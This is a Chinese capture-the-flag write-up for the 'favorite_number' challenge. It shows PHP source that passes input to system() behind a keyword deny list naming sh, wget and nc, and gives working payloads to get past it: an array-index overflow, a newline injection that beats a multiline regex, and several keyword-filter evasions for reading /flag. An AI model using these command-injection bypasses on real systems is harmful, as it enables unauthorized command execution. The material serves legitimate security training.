首页 > 系统相关 >攻防世界favorite_number(php数组溢出+正则m绕过+Linux命令绕过)

攻防世界favorite_number(php数组溢出+正则m绕过+Linux命令绕过)

时间:2022-10-07 20:13:25浏览次数:59  
标签:tmp 匹配 favorite number 数组 tac 绕过 hello

<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
    $num= $_POST["num"];
    if (preg_match("/^\d+$/im",$num)){
        if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
            echo "my favorite num is:";
            system("echo ".$num);
        }else{
            echo 'Bonjour!';
        }
    }
} else {
    highlight_file(__FILE__);
}

首先第一步绕过,stuff[4294967296]=admin&stuff[1]=user 这里的数组下标4294967296 会溢出变为数组0然后依次增长。

第二步绕过主要因为这个/m多行匹配,因此我们只要传入两行数据如下:

1

ls 

此时他会先对第⼀⾏进⾏匹配,再对第⼆⾏进⾏匹配。可以看到我们这⾥因为第⼀⾏为数字,所以肯定正确匹配。我们构造如下payload即可

num=1%0als

 第三步的绕过有多种方法。

法一:

ca``t /fla``g

法二:使⽤inode

 

法三: a=f;b=la;c=g;tac /$a$b$c

法四:

printf /fla > /tmp/hello
printf g >> /tmp/hello
tac `tac /tmp/hello`

 

标签:tmp,匹配,favorite,number,数组,tac,绕过,hello
From: https://www.cnblogs.com/meng-han/p/16760568.html

相关文章

  • 1738C-Even Number Addicts - dp, games, greedy
      voidsolve(){intn;cin>>n;intodd=0,even=0;for(inti=0;i<n;i++){inta;cin>>a;if(a&1)odd++;elseeven+......
  • rasp绕过jep290
    原文出自:https://www.anquanke.com/post/id/200860笔者简单记录一下中途遇到的坑吧简单记录不具参考,作者是使用asm框架来的。笔者不太会所以直接使用了javassist来写。......
  • LeetCode 792. Number of Matching Subsequences
    原题链接在这里:https://leetcode.com/problems/number-of-matching-subsequences/题目:Givenastring s andanarrayofstrings words,return thenumberof wor......
  • LeetCode 1419. Minimum Number of Frogs Croaking
    原题链接在这里:https://leetcode.com/problems/minimum-number-of-frogs-croaking/题目:Youaregiventhestring croakOfFrogs,whichrepresentsacombinationofth......
  • IfcComplexNumber
    IfcComplexNumber类型定义IfcComplexNumber是复数的表示形式,表示为具有两个元素的数组。第一个元素(索引1)表示实数分量,实数分量是复数的数值分量,复数的平方根可以明确计算......
  • MySQL注入的几种绕过方式
        在平时进行MySQL注入的过程当中,有时会遇到过滤关键字的情况,这篇文章就介绍绕过几种过滤关键字的方式。    绕过过滤and和or    打开sqli的......
  • Caused by: org.xml.sax.SAXParseException; lineNumber: 11; columnNumber: 106; 对
    给Properties注入值报错<?xmlversion="1.0"encoding="UTF-8"?><beansxmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2......
  • HDU3652 B-number
    B-number题意:求1-n(<=1e9)中是13的倍数且包含“13”的个数。多组数据。数位DP#include<bits/stdc++.h>usingnamespacestd;intn;intdat[15],cnt;intf[13][11......
  • Codeforces Global Round 22 C. Even Number Addicts(博弈论)
    https://codeforces.com/contest/1738/problem/C题目大意:给定n个数字,Alice先手,Bob后手;拿完之后,Alice数字总和为奇数时Alice获胜,否则Bob获胜。问我们给定n个数字,双方......
  • [Oracle] LeetCode 2 Add Two Numbers
    Youaregiventwonon-emptylinkedlistsrepresentingtwonon-negativeintegers.Thedigitsarestoredinreverseorder,andeachoftheirnodescontainsasin......